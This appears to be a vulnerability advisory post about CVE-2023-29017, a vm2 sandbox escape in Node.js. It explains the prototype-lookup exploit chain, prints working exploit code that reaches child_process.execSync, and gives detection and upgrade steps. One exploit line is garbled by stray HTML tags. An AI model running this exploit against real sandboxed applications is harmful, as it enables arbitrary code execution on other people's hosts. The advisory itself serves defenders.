Listen to this Post
How CVE-2023-29017 Works:
The vulnerability resides in vm2’s `__lookupGetter__` method, which switches between host and sandbox contexts when passed across boundaries. Attackers first obtain the host `apply` method via Buffer.apply. Using apply, they call the host version of `__lookupGetter__` with `Buffer` and `__proto__` as arguments, retrieving the host’s prototype lookup method. This yields the host’s `Function.prototype` object. From there, the host `Function` constructor is accessed via the `constructor` property, allowing arbitrary code execution in the host context. A partial fix attempted to block this by patching `constructor` access (bridge.jsL427), but it can be bypassed using `Object.getOwnPropertyDescriptor` to fetch the `constructor` property again. The final chain: sandboxed code → host `apply` → host `__lookupGetter__` → host `Function` → host `process` → child_process.execSync. This escape enables full remote code execution on the host system. Proof of concept executes `touch pwned` from within the sandbox.
dailycve form:
Platform: Node.js vm2
Version: < 3.9.15
Vulnerability: Sandbox escape
Severity: Critical
date: 2023-03-11
Prediction: 2023-03-18
What Undercode Say:
Analytics show rapid exploitation attempts post-disclosure. Below are bash commands and Node.js code to test and mitigate.
Analytics (bash & code):
Check vm2 version in project
npm list vm2
Scan for vulnerable patterns
grep -r "vm2" package.json && grep -r "Buffer.apply" .js
Exploit simulation (safe test)
node -e "const {VM}=require('vm2');new VM().run(\"const g=({}).<strong>lookupGetter</strong>;const a=Buffer.apply;const p=a.apply(g,[Buffer,['<strong>proto</strong>']]);Object.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('echo vulnerable')\")"
Exploit:
const {VM} = require("vm2");
new VM().run(<code>const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const hostFn = Object.getOwnPropertyDescriptor(p.call(a), 'constructor').value;
const process = hostFn('return process')();
process.mainModule.require('child_process').execSync('calc.exe'); // or touch pwned</code>);
Protection from this CVE:
- Upgrade vm2 to version 3.9.15 or higher immediately.
- If upgrade impossible, deny untrusted code execution or use alternative sandbox (e.g., isolated-vm, Node.js `worker_threads` with `–eval` restrictions).
- Apply runtime monitoring for `Buffer.apply` and `__lookupGetter__` calls outside normal patterns.
Impact:
Full remote code execution on the host system, allowing attackers to read/write files, spawn shells, install malware, pivot to internal networks, and compromise the entire Node.js application host. CVSS 3.1 score 9.8 (Critical).
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

